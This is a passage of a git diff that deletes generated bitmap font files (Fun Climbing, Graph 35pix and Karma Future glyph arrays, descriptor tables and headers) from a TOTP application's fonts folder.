0x00, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x02, - 0x20, - 0x02, - 0x60, - 0x03, - 0xC0, - 0x01, - 0x00, - 0x00, - - /* @648 'K' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x08, - 0x10, - 0x0C, - 0x10, - 0x02, - 0xB0, - 0x01, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0xA0, - 0x00, - 0x20, - 0x01, - 0x20, - 0x02, - 0x20, - 0x0C, - 0x20, - 0x08, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @684 'M' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x10, - 0x10, - 0x30, - 0x18, - 0x30, - 0x18, - 0x50, - 0x34, - 0x50, - 0x24, - 0xC8, - 0x22, - 0x88, - 0x22, - 0x88, - 0x21, - 0x08, - 0x21, - 0x04, - 0x60, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x02, - 0x40, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @720 'N' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x02, - 0x01, - 0x86, - 0x07, - 0x44, - 0x04, - 0x24, - 0x08, - 0x24, - 0x08, - 0x14, - 0x18, - 0x14, - 0x10, - 0x1C, - 0x10, - 0x0C, - 0x10, - 0x0C, - 0x10, - 0x08, - 0x10, - 0x00, - 0x10, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @756 'P' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x01, - 0x20, - 0x02, - 0x20, - 0x04, - 0x60, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x06, - 0x40, - 0x02, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @792 'Q' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x03, - 0x30, - 0x06, - 0x18, - 0x08, - 0x08, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x08, - 0x21, - 0x08, - 0x33, - 0x10, - 0x12, - 0x30, - 0x0E, - 0xC0, - 0x07, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x10, - 0x00, - 0x00, - - /* @828 'R' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x07, - 0x88, - 0x0D, - 0x48, - 0x08, - 0x68, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @864 'T' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0xE0, - 0x03, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x05, - 0x00, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @900 'V' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x10, - 0x10, - 0x10, - 0x10, - 0x18, - 0x10, - 0x08, - 0x10, - 0x08, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x02, - 0x20, - 0x02, - 0x20, - 0x01, - 0x40, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @936 'W' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x03, - 0x80, - 0x02, - 0x80, - 0x02, - 0x40, - 0x02, - 0x40, - 0x02, - 0x41, - 0x86, - 0x42, - 0x84, - 0x42, - 0x44, - 0x44, - 0x44, - 0x64, - 0x24, - 0x28, - 0x28, - 0x28, - 0x18, - 0x30, - 0x18, - 0x30, - 0x18, - 0x20, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @972 'X' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x08, - 0x10, - 0x04, - 0x20, - 0x04, - 0x40, - 0x02, - 0x80, - 0x03, - 0x80, - 0x01, - 0x80, - 0x03, - 0x40, - 0x02, - 0x30, - 0x04, - 0x18, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @1008 'Y' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x0C, - 0x08, - 0x0C, - 0x08, - 0x0A, - 0x10, - 0x0A, - 0xF0, - 0x09, - 0x00, - 0x0C, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x02, - 0xE0, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for fun climbing (Demo) 18pt */ -/* { [Char width in bits], [Offset into funclimbingDemo_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO funclimbingDemo_18ptDescriptors[] = { - {16, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {16, 36}, /* 0 */ - {16, 72}, /* 1 */ - {16, 108}, /* 2 */ - {16, 144}, /* 3 */ - {16, 180}, /* 4 */ - {16, 216}, /* 5 */ - {16, 252}, /* 6 */ - {16, 288}, /* 7 */ - {16, 324}, /* 8 */ - {16, 360}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {16, 396}, /* B */ - {16, 432}, /* C */ - {16, 468}, /* D */ - {0, 0}, /* E */ - {16, 504}, /* F */ - {16, 540}, /* G */ - {16, 576}, /* H */ - {0, 0}, /* I */ - {16, 612}, /* J */ - {16, 648}, /* K */ - {0, 0}, /* L */ - {16, 684}, /* M */ - {16, 720}, /* N */ - {0, 0}, /* O */ - {16, 756}, /* P */ - {16, 792}, /* Q */ - {16, 828}, /* R */ - {0, 0}, /* S */ - {16, 864}, /* T */ - {0, 0}, /* U */ - {16, 900}, /* V */ - {16, 936}, /* W */ - {16, 972}, /* X */ - {16, 1008}, /* Y */ -}; - -/* Font information for fun climbing (Demo) 18pt */ -const FONT_INFO funclimbingDemo_18ptFontInfo = { - "Fun Climbing", - 18, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - funclimbingDemo_18ptDescriptors, /* Character descriptor array */ - funclimbingDemo_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/funclimbing/funclimbing.h b/applications/external/totp/lib/fonts/funclimbing/funclimbing.h deleted file mode 100644 index 26614adf1..000000000 --- a/applications/external/totp/lib/fonts/funclimbing/funclimbing.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO funclimbingDemo_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/graph35pix/graph35pix.c b/applications/external/totp/lib/fonts/graph35pix/graph35pix.c deleted file mode 100644 index d4edf52e2..000000000 --- a/applications/external/totp/lib/fonts/graph35pix/graph35pix.c +++ /dev/null @@ -1,941 +0,0 @@ -#include "graph35pix.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Graph 35+ pix 12pt -*/ - -/* Character bitmaps for Graph 35+ pix 12pt */ -const uint8_t graph35pix_12ptBitmaps[] = { - /* @0 '-' (10 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @56 '1' (10 pixels wide) */ - 0x30, - 0x00, - 0x30, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @84 '2' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @112 '3' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @140 '4' (10 pixels wide) */ - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x00, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @168 '5' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @196 '6' (10 pixels wide) */ - 0xF0, - 0x00, - 0xF0, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @224 '7' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @252 '8' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @280 '9' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - - /* @308 'B' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - - /* @336 'C' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @364 'D' (10 pixels wide) */ - 0x3F, - 0x00, - 0x3F, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @392 'F' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @420 'G' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xF3, - 0x03, - 0xF3, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - - /* @448 'H' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @476 'J' (10 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - - /* @504 'K' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @532 'M' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0xCF, - 0x03, - 0xCF, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @560 'N' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @588 'P' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @616 'Q' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3C, - 0x03, - 0x3C, - 0x03, - - /* @644 'R' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @672 'T' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @700 'V' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @728 'W' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - - /* @756 'X' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @784 'Y' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, -}; - -/* Character descriptors for Graph 35+ pix 12pt */ -/* { [Char width in bits], [Offset into graph35pix_12ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO graph35pix_12ptDescriptors[] = { - {10, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {10, 28}, /* 0 */ - {10, 56}, /* 1 */ - {10, 84}, /* 2 */ - {10, 112}, /* 3 */ - {10, 140}, /* 4 */ - {10, 168}, /* 5 */ - {10, 196}, /* 6 */ - {10, 224}, /* 7 */ - {10, 252}, /* 8 */ - {10, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {10, 308}, /* B */ - {10, 336}, /* C */ - {10, 364}, /* D */ - {0, 0}, /* E */ - {10, 392}, /* F */ - {10, 420}, /* G */ - {10, 448}, /* H */ - {0, 0}, /* I */ - {10, 476}, /* J */ - {10, 504}, /* K */ - {0, 0}, /* L */ - {10, 532}, /* M */ - {10, 560}, /* N */ - {0, 0}, /* O */ - {10, 588}, /* P */ - {10, 616}, /* Q */ - {10, 644}, /* R */ - {0, 0}, /* S */ - {10, 672}, /* T */ - {0, 0}, /* U */ - {10, 700}, /* V */ - {10, 728}, /* W */ - {10, 756}, /* X */ - {10, 784}, /* Y */ -}; - -/* Font information for Graph 35+ pix 12pt */ -const FONT_INFO graph35pix_12ptFontInfo = { - "Graph 35pix", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - graph35pix_12ptDescriptors, /* Character descriptor array */ - graph35pix_12ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/graph35pix/graph35pix.h b/applications/external/totp/lib/fonts/graph35pix/graph35pix.h deleted file mode 100644 index 07838e3ba..000000000 --- a/applications/external/totp/lib/fonts/graph35pix/graph35pix.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Graph 35+ pix 12pt */ -extern const FONT_INFO graph35pix_12ptFontInfo; diff --git a/applications/external/totp/lib/fonts/karma_future/karma_future.c b/applications/external/totp/lib/fonts/karma_future/karma_future.c deleted file mode 100644 index 23bebbc01..000000000 --- a/applications/external/totp/lib/fonts/karma_future/karma_future.c +++ /dev/null @@ -1,1173 +0,0 @@ -#include "karma_future.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Karma Future 14pt -*/ - -/* Character bitmaps for Karma Future 14pt */ -const uint8_t karmaFuture_14ptBitmaps[] = { - /* @0 '-' (12 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xFE, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @36 '0' (12 pixels wide) */ - 0xF8, - 0x01, - 0x0E, - 0x03, - 0x02, - 0x06, - 0xF3, - 0x06, - 0xF9, - 0x0C, - 0x79, - 0x0C, - 0x39, - 0x0D, - 0x99, - 0x0C, - 0xC9, - 0x0C, - 0xE9, - 0x0C, - 0xF1, - 0x0C, - 0xF1, - 0x0C, - 0xF1, - 0x0C, - 0xF3, - 0x0E, - 0x02, - 0x0E, - 0x0E, - 0x07, - 0xFC, - 0x07, - 0xF8, - 0x01, - - /* @72 '1' (12 pixels wide) */ - 0x70, - 0x00, - 0xD8, - 0x00, - 0xCE, - 0x00, - 0xC2, - 0x00, - 0xC2, - 0x00, - 0xDE, - 0x00, - 0xDC, - 0x00, - 0xDC, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xDE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xFE, - 0x03, - 0xFC, - 0x03, - - /* @108 '2' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0x7F, - 0x0E, - 0x3E, - 0x0F, - 0x1E, - 0x0F, - 0x90, - 0x07, - 0xC8, - 0x03, - 0xE4, - 0x01, - 0xE6, - 0x00, - 0xF3, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xFF, - 0x0F, - 0xFE, - 0x0F, - - /* @144 '3' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xFF, - 0x0C, - 0xFE, - 0x0C, - 0x0E, - 0x0E, - 0x08, - 0x0F, - 0xF8, - 0x0E, - 0xF8, - 0x04, - 0xFF, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xFC, - 0x03, - - /* @180 '4' (12 pixels wide) */ - 0xE0, - 0x03, - 0x30, - 0x03, - 0x10, - 0x03, - 0x08, - 0x03, - 0x4C, - 0x03, - 0x64, - 0x03, - 0x72, - 0x03, - 0x73, - 0x03, - 0x79, - 0x03, - 0x01, - 0x04, - 0x01, - 0x0C, - 0x7F, - 0x0F, - 0x7E, - 0x0F, - 0x7E, - 0x0F, - 0x40, - 0x03, - 0x40, - 0x03, - 0xC0, - 0x03, - 0x80, - 0x03, - - /* @216 '5' (12 pixels wide) */ - 0xFF, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xF9, - 0x0F, - 0xF9, - 0x0F, - 0xF9, - 0x0F, - 0x01, - 0x03, - 0x03, - 0x06, - 0xFE, - 0x04, - 0xFE, - 0x0C, - 0xFC, - 0x0C, - 0xFF, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @252 '6' (12 pixels wide) */ - 0xF0, - 0x03, - 0x10, - 0x03, - 0x08, - 0x03, - 0xCC, - 0x03, - 0xE6, - 0x03, - 0xF2, - 0x03, - 0xF2, - 0x00, - 0x01, - 0x03, - 0x01, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @288 '7' (12 pixels wide) */ - 0xFF, - 0x07, - 0x01, - 0x0C, - 0x01, - 0x0C, - 0xFF, - 0x0E, - 0xFE, - 0x0E, - 0x7E, - 0x0F, - 0x40, - 0x07, - 0x60, - 0x07, - 0x20, - 0x03, - 0x30, - 0x03, - 0x90, - 0x01, - 0x90, - 0x01, - 0xD0, - 0x00, - 0xC8, - 0x00, - 0xE8, - 0x00, - 0xE8, - 0x00, - 0x78, - 0x00, - 0x78, - 0x00, - - /* @324 '8' (12 pixels wide) */ - 0xF8, - 0x01, - 0x0C, - 0x01, - 0x06, - 0x03, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x06, - 0x72, - 0x06, - 0x06, - 0x07, - 0x02, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0E, - 0x06, - 0x0F, - 0xFC, - 0x07, - 0xF8, - 0x03, - - /* @360 '9' (12 pixels wide) */ - 0xFC, - 0x03, - 0x06, - 0x03, - 0x03, - 0x06, - 0xF1, - 0x04, - 0xF9, - 0x0C, - 0xF9, - 0x0C, - 0xF1, - 0x0C, - 0x03, - 0x0C, - 0x06, - 0x0C, - 0xFE, - 0x0E, - 0x7C, - 0x0E, - 0x38, - 0x0F, - 0x30, - 0x07, - 0x1C, - 0x07, - 0x84, - 0x03, - 0xC4, - 0x01, - 0xFC, - 0x00, - 0xF8, - 0x00, - - /* @396 'B' (12 pixels wide) */ - 0xFE, - 0x01, - 0x02, - 0x03, - 0x02, - 0x02, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x06, - 0x72, - 0x06, - 0x02, - 0x06, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0xFE, - 0x07, - 0xFC, - 0x03, - - /* @432 'C' (12 pixels wide) */ - 0xF0, - 0x03, - 0x18, - 0x02, - 0x0C, - 0x06, - 0xE4, - 0x0C, - 0xE6, - 0x0D, - 0xF2, - 0x0F, - 0x72, - 0x0F, - 0x32, - 0x0F, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x32, - 0x07, - 0xA6, - 0x0D, - 0xE4, - 0x0C, - 0x08, - 0x0E, - 0x18, - 0x0E, - 0xF0, - 0x07, - 0xF0, - 0x03, - - /* @468 'D' (12 pixels wide) */ - 0xFE, - 0x01, - 0x02, - 0x03, - 0x02, - 0x02, - 0x72, - 0x06, - 0xF2, - 0x06, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0E, - 0xF2, - 0x0E, - 0x72, - 0x0E, - 0x02, - 0x06, - 0x02, - 0x07, - 0xFE, - 0x03, - 0xFC, - 0x01, - - /* @504 'F' (12 pixels wide) */ - 0xFE, - 0x07, - 0x02, - 0x0C, - 0x02, - 0x0C, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0x12, - 0x00, - 0xF2, - 0x03, - 0x02, - 0x02, - 0xF2, - 0x03, - 0xF2, - 0x03, - 0xF2, - 0x03, - 